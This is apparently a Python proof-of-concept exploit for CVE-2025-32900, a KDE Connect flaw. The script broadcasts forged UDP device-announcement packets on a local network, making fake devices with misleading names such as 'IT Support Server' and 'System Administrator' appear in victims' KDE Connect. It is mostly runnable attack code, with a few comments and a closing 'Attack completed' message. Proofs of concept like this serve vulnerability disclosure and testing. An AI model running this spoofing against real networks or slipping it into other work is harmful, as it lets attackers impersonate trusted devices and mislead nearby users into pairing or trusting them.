#!/usr/bin/env python3
# CVE-2025-32900 PoC - KDE Connect Device Information Spoofing
# Attackers can craft malicious UDP broadcast packets to falsify device information
import socket
import struct
import json
import time
import uuid
def create_kde_connect_packet(device_id, device_name, device_type='desktop'):
"""Craft a KDE Connect device announcement packet"""
# KDE Connect protocol packet structure
packet = {
'id': str(uuid.uuid4()),
'type': 'device',
'action': 'request', # or 'present' for broadcast
'body': {
'deviceId': device_id,
'deviceName': device_name,
'deviceType': device_type,
'protocolVersion': 7,
'tcpPort': 1716,
'tcpSupports': True
}
}
return json.dumps(packet).encode('utf-8')
def send_spoofed_device_broadcast(spoofed_name='Malicious Device',
spoofed_type='desktop',
broadcast_addr='255.255.255.255',
port=1714):
"""Send spoofed KDE Connect device announcement via UDP broadcast"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Generate random device ID for spoofing
fake_device_id = str(uuid.uuid4())
# Craft the malicious packet
packet = create_kde_connect_packet(fake_device_id, spoofed_name, spoofed_type)
try:
sock.sendto(packet, (broadcast_addr, port))
print(f"[+] Sent spoofed device packet: {spoofed_name}")
print(f"[+] Device ID: {fake_device_id}")
print(f"[+] Target: {broadcast_addr}:{port}")
except Exception as e:
print(f"[-] Error sending packet: {e}")
finally:
sock.close()
if __name__ == '__main__':
print("=== CVE-2025-32900 KDE Connect Device Spoofing PoC ===")
print("This PoC demonstrates how attackers can spoof device information")
print("via broadcast UDP without authentication.\n")
# Send multiple spoofed devices
spoofed_devices = [
('IT Support Server', 'desktop'),
('Security Scanner', 'desktop'),
('System Administrator', 'desktop')
]
for name, dtype in spoofed_devices:
send_spoofed_device_broadcast(name, dtype)
time.sleep(1)
print("\n[!] Attack completed - devices should now appear in victim KDE Connect")